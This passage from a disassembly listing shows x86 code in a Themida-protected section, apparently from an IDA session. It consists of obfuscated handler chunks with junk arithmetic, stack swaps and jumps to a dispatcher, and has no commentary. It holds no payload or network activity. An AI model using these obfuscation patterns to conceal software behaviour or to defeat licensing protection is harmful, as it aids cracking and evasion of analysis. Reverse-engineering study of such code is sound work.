CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587B6B: ; CODE XREF: sub_585452+CB1j pop edx mov ecx, [esp+0Eh+var_10+2] add esp, 4 jmp loc_583C20 ; --------------------------------------------------------------------------- loc_587B77: ; CODE XREF: sub_585452+7EAj xor ch, 6Ch and ah, ch pop ecx sub ah, 27h sub ch, ah mov ax, word ptr [esp-8+arg_4] add esp, 2 shr ch, 6 jmp loc_586A8A ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_587B94 proc near ; CODE XREF: sub_585452+81C4j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058A244 SIZE 0000002B BYTES push ebx push dword ptr [esp+4] pop ebx pop [esp+4+var_4] pop esp mov [esp-4+arg_0], eax push [esp-4+arg_0] mov edx, [esp+0] jmp loc_58A244 sub_587B94 endp ; --------------------------------------------------------------------------- loc_587BAC: ; CODE XREF: Themida_:005876A4j add [esp], ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587BB6: ; CODE XREF: sub_585452+3B63j push eax jmp loc_58AB95 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587BBC: ; CODE XREF: Themida_:00589598j add esi, edx pop edx jmp loc_588D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587BC4: ; CODE XREF: sub_585452+77D7j pop esp jmp loc_587C9E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_587BCA: ; CODE XREF: sub_58F728-7B33j mov edx, esp push esi mov esi, 55CE4BD7h jmp loc_589987 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_587BD7: ; CODE XREF: sub_58F3BC-6E32j sub esi, 5334436Dh xor esi, 0C2336C11h mov edi, esi jmp loc_58406A ; END OF FUNCTION CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_587BEA: ; CODE XREF: sub_589C10+16B2j sub eax, 1F2239D8h jmp loc_58B154 ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_587BF4: ; CODE XREF: sub_58F728-3C65j push edx jmp loc_587BCA ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- loc_587BFA: ; CODE XREF: Themida_:00588038j pop ecx jmp loc_58C76D ; --------------------------------------------------------------------------- loc_587C00: ; CODE XREF: Themida_:005880D3j sub ecx, 91EC0D77h sub eax, ecx pop ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push 57D8h jmp loc_58FB50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587C26: ; CODE XREF: sub_585452+8B65j add edi, esi pop esi neg edi sub edi, 14D51E76h push edi xor [esp-0Ch+arg_8], 47744E0Fh pop esi xor esi, 47744E0Fh mov edi, [esp+0] add esp, 4 and ecx, esi pop esi shr ecx, 0Bh push 519Fh jmp loc_58A951 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- lodsd sub eax, 7FD22900h sub eax, 7B5B74C3h add eax, ebx push ecx mov ecx, 7B5B74C3h sub eax, 4FFA3996h add eax, ecx push ebx mov ebx, 4FFA3996h add eax, ebx pop ebx pop ecx push edi jmp loc_58DEB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587C80: ; CODE XREF: sub_585452+8AFCj pop bx add al, 5Ah sub al, 0D5h push 291Bh mov [esp-12h+arg_E], edx sub esp, 4 mov [esp-0Eh+arg_8+2], ebx mov bl, 8Ah jmp loc_587229 ; --------------------------------------------------------------------------- loc_587C9E: ; CODE XREF: sub_585452+2773j ; sub_585019+976Bj push esi push ebx xor [esp-4+arg_0], 13B6641Bh jmp loc_5840CB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587CAC: ; CODE XREF: Themida_:00584A89j sub edi, 344B1D64h jmp loc_58F7BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_587CB7: ; CODE XREF: sub_589FD5+566Cj mov esp, [esp-8+arg_4] mov [esp-8+arg_4], eax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- loc_587CC2: ; CODE XREF: Themida_:00584DE7j add esp, 4 sub esp, 4 mov [esp], edi push 2011h mov [esp], ecx jmp loc_58EBBE ; --------------------------------------------------------------------------- loc_587CD8: ; CODE XREF: Themida_:0058C846j pop ecx push 21D4h jmp loc_5856C5 ; --------------------------------------------------------------------------- loc_587CE3: ; CODE XREF: Themida_:0058D781j mov ecx, 77CA3661h add ecx, 602D11B8h jmp loc_58FBBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E234 loc_587CF3: ; CODE XREF: sub_58E234-58FEj and esi, 30DA4D9Ah jmp loc_589DCC ; END OF FUNCTION CHUNK FOR sub_58E234 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A5A3 loc_587CFE: ; CODE XREF: sub_58A5A3-26D2j pop eax sub edx, 4 xor edx, [esp+4+var_4] xor [esp+4+var_4], edx xor edx, [esp+4+var_4] pop esp mov [esp+0], edx jmp loc_58F3F1 ; END OF FUNCTION CHUNK FOR sub_58A5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586650 loc_587D14: ; CODE XREF: sub_586650+7C07j xor edx, 6D03214Fh add edx, 0B9E98203h jmp loc_58A9CC ; END OF FUNCTION CHUNK FOR sub_586650 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587D25: ; CODE XREF: sub_585452+20F0j add bh, 21h jmp loc_58BFDD ; --------------------------------------------------------------------------- loc_587D2D: ; CODE XREF: sub_585452+3206j shr eax, 5 or eax, 488C1228h jmp loc_584AAF ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_587D3A: ; CODE XREF: sub_58C230-5BCDj push [esp-8+arg_4] mov edi, [esp-4+arg_0] add esp, 4 sub esp, 4 jmp loc_58D522 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_587D4E: ; CODE XREF: Themida_:0058FCDDj mov ecx, 0FFFFFFFFh jmp loc_585CFC ; --------------------------------------------------------------------------- loc_587D58: ; CODE XREF: Themida_:0058E271j mov [esp], esi mov esi, 42E62414h mov edi, esi pop esi push 5CD6h jmp loc_5850AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587D6D: ; CODE XREF: sub_585452+2679j xor cl, 30h add bl, cl jmp loc_58A56B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587D77: ; CODE XREF: Themida_:0058E885j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_587D7C: ; CODE XREF: Themida_:0058D719j sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_58C9C5 ; --------------------------------------------------------------------------- loc_587D9B: ; CODE XREF: Themida_:005877A3j push ebp mov ebp, 725A27F4h add ebp, 34AB5331h shl ebp, 4 push ecx jmp loc_588F98 ; --------------------------------------------------------------------------- loc_587DB0: ; CODE XREF: Themida_:0058FABEj push ecx mov ecx, 4 jmp loc_585808 ; --------------------------------------------------------------------------- loc_587DBB: ; CODE XREF: Themida_:005881B7j mov edx, 43C12B41h and edx, 9F94734h jmp loc_58C4FF ; --------------------------------------------------------------------------- loc_587DCB: ; CODE XREF: Themida_:00585EEEj push 9D5h mov [esp], edi mov edi, esp add edi, 4 push ebp mov ebp, 2 jmp loc_58A646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_587DE6: ; CODE XREF: sub_58BE98-46FDj pop esp jmp loc_58BC16 ; END OF FUNCTION CHUNK FOR sub_58BE98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_587DEC: ; CODE XREF: sub_58AB18-46D9j and esi, 20A2791Fh shl esi, 3 sub esi, 186608EAh jmp loc_58D9AE ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- loc_587E00: ; CODE XREF: Themida_:005871E4j push ecx jmp loc_58D51B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587E06: ; CODE XREF: sub_585452+643Ej mov [esp-14h+arg_E+2], eax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CA39 loc_587E0E: ; CODE XREF: sub_58CA39-3EE8j pop esp push edi mov edi, esp add edi, 4 push ebp jmp loc_58933B ; END OF FUNCTION CHUNK FOR sub_58CA39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587E1E: ; CODE XREF: sub_585452+727Bj sub esi, 4A689F36h jmp loc_58F267 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E761 loc_587E29: ; CODE XREF: sub_58E761-3C37j mov esp, [esp+8+var_8] div cl movzx cx, ah push 0D19h jmp loc_58B536 ; END OF FUNCTION CHUNK FOR sub_58E761 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_587E3C: ; CODE XREF: sub_589FD5-38AFj add ebp, 0A006896Dh jmp loc_58813F ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_587E47: ; CODE XREF: sub_58DA2E+218Cj add esp, 4 mov eax, [esp+8+var_8] push edi jmp loc_58B589 ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- loc_587E56: ; CODE XREF: Themida_:00587A37j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_587E5B: ; CODE XREF: Themida_:005845DAj shr dl, 6 xor dl, 25h add dl, 5Ch sub bl, 0C2h add bl, dl add bl, 0C2h pop edx push eax push edx jmp loc_58D43D ; --------------------------------------------------------------------------- lodsb push 4BFDh jmp loc_58400D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_587E7F: ; CODE XREF: sub_58999B+47E4j sub edx, 615F6079h sub edx, ebp push esi push 0CEF08EEh pop esi jmp loc_58608E ; END OF FUNCTION CHUNK FOR sub_58999B ; =============== S U B R O U T I N E ======================================= sub_587E93 proc near ; CODE XREF: sub_58A4F5-2045j ; FUNCTION CHUNK AT 005853B3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058B701 SIZE 00000008 BYTES push ebx mov bl, 90h jmp loc_58B701 sub_587E93 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_587E9B: ; CODE XREF: Themida_:00587905j push ebx mov bh, 0E1h xor bh, 65h sub al, bh pop ebx push ecx mov cl, 0C2h jmp loc_586179 ; --------------------------------------------------------------------------- loc_587EAC: ; CODE XREF: Themida_:0058D5BDj add edx, 2 jmp loc_5897AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587EB4: ; CODE XREF: sub_585452+DD5j xor [esp+6+var_4+2], ecx pop ecx pop eax push 6E1Fh mov [esp+2+var_4+2], edi jmp sub_58A459 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A5A3 loc_587EC7: ; CODE XREF: sub_58A5A3-1D0Dj shl eax, 4 sub eax, 210D11FCh add edx, eax jmp loc_587CFE ; END OF FUNCTION CHUNK FOR sub_58A5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587ED6: ; CODE XREF: sub_585452+1EFj jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587EDB: ; CODE XREF: Themida_:0058EEFDj mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi pop esi sub esp, 4 mov [esp], edx mov edx, 4 sub esi, 56F65BA5h add esi, edx jmp loc_587601 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587F05: ; CODE XREF: sub_585452-13EDj push edx mov edx, 7E71083h sub eax, edx pop edx pop esi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx mov ebx, 5A54D68h add ebx, 0FFFFFFFFh shl ebx, 1 sub ebx, 0B4A8ACEh and eax, ebx push [esp+4+var_4] pop ebx jmp loc_584DBA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_587F43: ; CODE XREF: sub_58EFBD-6AB5j mov ecx, 47757257h not ecx not ecx add ecx, 0B88A8DADh jmp loc_588F1B ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587F57: ; CODE XREF: sub_585452+7B4j mov ebx, 0BE80A283h sub ecx, ebx pop ebx push eax mov eax, ecx mov ebx, eax pop eax mov ecx, [esp-0Ch+arg_8] add esp, 4 jmp loc_58CFCA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587F73: ; CODE XREF: Themida_:0058F01Fj xor [esp], ebp jmp loc_5846ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587F7B: ; CODE XREF: sub_585452+2D89j xor eax, ecx sub esp, 4 jmp loc_5877F4 ; --------------------------------------------------------------------------- loc_587F85: ; CODE XREF: sub_585452+6FBCj add esi, 6B0D4681h jmp loc_58824C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587F90: ; CODE XREF: Themida_:00585382j sub eax, edx pop edx add eax, ebx add eax, 1AD90138h push ebx push 26933DCFh pop ebx shr ebx, 6 jmp loc_58B3D7 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_588EFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587FB1: ; CODE XREF: sub_585452+97E9j pop edi jmp loc_58BB9A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587FB7: ; CODE XREF: Themida_:0058D51Dj add ecx, 4 add ecx, 4 jmp loc_588EAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_587FC8: ; CODE XREF: sub_58FA66-8BB4j push esp jmp loc_58B65A ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_587FCE: ; CODE XREF: Themida_:0058E5E7j push 550Ch jmp loc_583C7C ; --------------------------------------------------------------------------- loc_587FD8: ; CODE XREF: Themida_:00588152j sub ecx, 21FD7E9Ah add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_58F7EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587FF0: ; CODE XREF: sub_585452+183Dj add esp, 4 jmp loc_586167 ; --------------------------------------------------------------------------- loc_587FFB: ; CODE XREF: sub_585452+9132j push edx mov dh, 0A8h or dh, 0ACh or dh, 2Ch jmp loc_58FF4E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588009: ; CODE XREF: Themida_:00589909j shl cl, 3 or cl, 99h shl cl, 7 shl cl, 6 shl cl, 3 add cl, 0Bh add bl, cl pop ecx jmp loc_586D31 ; --------------------------------------------------------------------------- loc_588023: ; CODE XREF: Themida_:00584196j add ebx, 4 sub ebx, 2 jmp loc_585069 ; --------------------------------------------------------------------------- loc_588034: ; CODE XREF: Themida_:0058BC31j push dword ptr [esp+4] jmp loc_587BFA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58803D: ; CODE XREF: sub_585452+4932j push 7B89h mov [esp+16h+var_18+2], edi jmp loc_58A469 ; --------------------------------------------------------------------------- loc_58804A: ; CODE XREF: sub_585452+55j mov edx, 266A477Eh and edi, edx pop edx push ecx mov ecx, 0F88019A7h sub edi, ecx push [esp+6+var_8+2] pop ecx add esp, 4 push edi add [esp+6+var_8+2], 50391694h pop esi sub esi, 50391694h pop edi push eax mov eax, 6EDF3491h add esi, eax pop eax add esi, 9764FE1Bh add eax, 1F8E3A4Ch sub eax, esi sub eax, 1F8E3A4Ch pop esi xor ebx, eax push edx mov edx, esp add edx, 4 push eax mov eax, 2B584C62h sub eax, 2B584C5Eh sub edx, eax pop eax xchg edx, [esp+0] pop esp jmp loc_58C113 ; --------------------------------------------------------------------------- loc_5880B2: ; CODE XREF: sub_585452+818Dj add eax, ebx pop ebx sub eax, 6E465D6Fh jmp loc_58A2E9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5880BF: ; CODE XREF: Themida_:00589790j mov cx, [esp] jmp loc_58B6E1 ; --------------------------------------------------------------------------- loc_5880C8: ; CODE XREF: Themida_:0058EBE3j mov ecx, 2CC6191Ch dec ecx shl ecx, 1 shl ecx, 4 jmp loc_587C00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5880D8: ; CODE XREF: sub_585452+56E0j add al, cl pop ecx jmp loc_58A930 ; --------------------------------------------------------------------------- loc_5880E0: ; CODE XREF: sub_585452+7661j shr dh, 1 inc dh jmp loc_5860B4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5880E9: ; CODE XREF: Themida_:00589C3Fj add ebx, 4 xchg ebx, [esp] pop esp mov ebx, [esp] add esp, 4 push 12D8h jmp loc_58AA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588106: ; CODE XREF: sub_585452+932Bj pop esp add eax, 551038C4h push 2684h jmp loc_58FC36 ; --------------------------------------------------------------------------- loc_588116: ; CODE XREF: sub_585452+9FA7j push ax mov al, 0F3h jmp loc_58CA4F ; --------------------------------------------------------------------------- loc_58811F: ; CODE XREF: sub_585452+54FAj pop eax xor cl, dl push dword ptr [esp+0] mov edx, [esp-0Ch+arg_8] add esp, 4 push edi mov edi, esp jmp loc_58A1D7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58405E loc_588133: ; CODE XREF: sub_58405E+B038j xor eax, 6CB6BF73h mov edx, eax jmp loc_5854E1 ; END OF FUNCTION CHUNK FOR sub_58405E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_58813F: ; CODE XREF: sub_589FD5-2193j mov edx, ebp jmp loc_583E92 ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- loc_588146: ; CODE XREF: Themida_:0058DE86j and ecx, 63BE7ED8h or ecx, 21457C8Ch jmp loc_587FD8 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58F23F ; --------------------------------------------------------------------------- loc_588160: ; CODE XREF: Themida_:0058431Bj mov edi, 75142CD2h xor edi, 7F187875h jmp loc_584945 ; --------------------------------------------------------------------------- loc_588170: ; CODE XREF: Themida_:00588BD3j mov esp, [esp] test cx, ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58817C: ; CODE XREF: sub_589967+4ECAj push edx push 1 push [esp+18h+var_18] pop edx sub esp, 4 mov [esp+0], ebp mov ebp, esp push ebx jmp loc_584EBA ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_588194: ; CODE XREF: Themida_:0058CF65j add esi, 82378BBh xor esi, 547C2ADh sub ebx, esi jmp loc_58A30E ; --------------------------------------------------------------------------- loc_5881A7: ; CODE XREF: Themida_:0058499Fj pop ecx jmp loc_5876A0 ; --------------------------------------------------------------------------- loc_5881AD: ; CODE XREF: Themida_:0058919Aj push ecx mov ecx, 59EF183Dh add esi, ecx pop ecx push edx jmp loc_587DBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5881BC: ; CODE XREF: sub_58EFBD-143Aj pop eax jmp loc_58A280 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_5881C2: ; CODE XREF: sub_586A34+2E28j pop ebx xor esi, [esp-4+arg_0] xor [esp-4+arg_0], esi xor esi, [esp-4+arg_0] mov esp, [esp-4+arg_0] cmp cl, al pushf jmp loc_58B9C7 ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5881D7: ; CODE XREF: sub_585452+5B5Dj xor eax, ecx xor ecx, eax jmp loc_587F7B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5881E0: ; CODE XREF: sub_58EFBD-3327j mov edx, eax pop eax push ebx mov ebx, 778E2359h add edx, ebx pop ebx jmp loc_58CFA6 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5881F1: ; CODE XREF: sub_585452+3C2j pop esp sub esp, 4 mov [esp+32h+var_34+2], eax mov eax, 75AC1321h shl eax, 6 sub eax, 5F363AC5h xor eax, 0BCE8D7Fh add ebp, eax jmp loc_58BBE9 ; --------------------------------------------------------------------------- loc_588214: ; CODE XREF: sub_585452+3C50j pop [esp+32h+var_34+2] pop esp jmp loc_585130 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58821D: ; CODE XREF: Themida_:005895FBj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_58944C ; --------------------------------------------------------------------------- loc_588233: ; CODE XREF: Themida_:0058E0D4j push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub al, dl jmp loc_586056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58824C: ; CODE XREF: sub_585452+2B39j add esi, eax sub esi, 6B0D4681h push edx mov edx, 2CC13677h shl edx, 3 push edx not [esp-4+arg_0] pop edx add edx, 0FFFFFFFFh inc edx add edx, 7DD11E3Ah sub esi, edx mov edx, [esp-8+arg_4] jmp loc_58BA3F ; --------------------------------------------------------------------------- loc_588279: ; CODE XREF: sub_585452+8CC5j or bl, ah pop ax sub bl, 0D4h sub bl, 0EFh inc bl shr bl, 5 push ebx not byte ptr [esp-6+arg_0+2] pop ebx add bl, 3Eh push dx mov dh, 0C1h add al, dh pop dx add al, bl sub esp, 4 mov [esp-6+arg_0+2], ecx mov cl, 4Ah xor cl, 8Bh sub al, cl pop ecx jmp loc_58F709 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5882AD: ; CODE XREF: sub_58EFBD-6424j mov [esp-4+arg_0], edx push 78CBh jmp loc_58881C ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5882BA: ; CODE XREF: sub_585452+C6Cj push dx mov dh, bh dec dh mov bh, dh jmp loc_589C62 ; --------------------------------------------------------------------------- loc_5882C7: ; CODE XREF: sub_585452+25FAj add edx, 0A1E4D5Bh sub edx, 7261E71h sub edx, 101D74D6h jmp loc_5868C9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DCD4 loc_5882DE: ; CODE XREF: sub_58DCD4+10j mov ecx, 15D12550h mov edx, ecx jmp loc_58E2FA ; END OF FUNCTION CHUNK FOR sub_58DCD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5882EA: ; CODE XREF: sub_585452+46D4j push edx mov edx, 2D4B7D28h mov eax, 6ADFC72Ch sub eax, edx pop edx push edi mov edi, 8B1201h add eax, edi mov edi, [esp-8+arg_4] add esp, 4 add edi, eax pop eax jmp loc_585BF4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_588311: ; CODE XREF: sub_58EFBD-23DCj not eax push edx jmp loc_58BC80 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_588319: ; CODE XREF: Themida_:00588601j pop esp add ebx, 4 add ebx, 4 jmp loc_58EAD3 ; =============== S U B R O U T I N E ======================================= sub_58832B proc near ; CODE XREF: sub_585452+2652j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058B4BD SIZE 00000012 BYTES push ebx mov ebx, 59F01818h sub ecx, ebx pop ebx add ecx, 1B9E2035h jmp loc_58B4BD sub_58832B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58833F: ; CODE XREF: sub_585452+3FCAj sub eax, 2C3F4A5Ch mov edx, [esp+0] add esp, 4 push edx push 63E16B64h pop edx dec edx shr edx, 5 or edx, 439D2FE0h add edx, 0BC60D009h sub eax, edx pop edx push eax push [esp-10h+arg_E+2] pop eax pop dword ptr [esp+0] jmp loc_588A75 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_583C38 loc_588372: ; CODE XREF: sub_583C38+1Bj pop ebp mov edx, [esp-4+arg_0] jmp loc_589BDC ; END OF FUNCTION CHUNK FOR sub_583C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C31F loc_58837B: ; CODE XREF: sub_58C31F+5C2j sub eax, 227ABBB0h mov ebp, eax pop eax add edi, ebp push [esp+4+var_4] pop ebp push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp+8+var_8] jmp loc_589D89 ; END OF FUNCTION CHUNK FOR sub_58C31F ; --------------------------------------------------------------------------- loc_5883A3: ; CODE XREF: Themida_:0058E466j sub ecx, 3C577C8Ah add ecx, 30FF18A6h pop esi push esi mov esi, 2 add ecx, esi mov esi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5883D8: ; CODE XREF: sub_585452+A10j push [esp+4+var_4] pop ebp push 4C2h mov [esp+8+var_8], ecx sub esp, 4 mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 pop ecx push 525Eh mov [esp+0Ch+var_C], esi mov esi, 4 add ecx, esi jmp loc_5895E6 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588403: ; CODE XREF: Themida_:0058D9D5j add edx, 4 xchg edx, [esp] jmp loc_58BC36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58840E: ; CODE XREF: sub_587574-B53j push ecx mov ecx, 3ADC075Dh dec ecx dec ecx or ecx, 3B3C2145h and ecx, 1C2A0CBCh shr ecx, 2 xor ecx, 2A425AEEh dec ecx push eax jmp loc_5870F2 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588432: ; CODE XREF: sub_585452+5DA3j pop esp xor esi, 13B6641Bh push 3498h jmp loc_58E64D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_588443: ; CODE XREF: sub_589FD5-38F2j sub esi, edi pop edi push 0ED2h mov [esp-8+arg_4], esi push [esp-8+arg_8] jmp loc_58F63D ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- loc_588457: ; CODE XREF: Themida_:00587B07j add [esp+4], edi jmp loc_587391 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_588460: ; CODE XREF: sub_585452+9DC8j pop ecx mov edi, [esp+8+var_8] add esp, 4 jmp loc_58A699 ; --------------------------------------------------------------------------- loc_58846C: ; CODE XREF: sub_585452+9251j mov ebx, [esp+4+var_4] add esp, 4 push 6DFh mov [esp+4+var_4], ecx push edx jmp loc_5899E9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_588480: ; CODE XREF: Themida_:0058CCE6j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov fs:[edx], ax jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A4F5 loc_588493: ; CODE XREF: sub_58A4F5+E7Aj mov ebx, [esp+8+var_8] add esp, 4 push ebx mov bl, 0FDh neg bl inc bl push 4F1Dh mov [esp+0Ch+var_C], ecx mov cl, 9 shl cl, 3 jmp sub_587E93 ; END OF FUNCTION CHUNK FOR sub_58A4F5 ; --------------------------------------------------------------------------- lodsb push small 75A4h mov [esp], bx 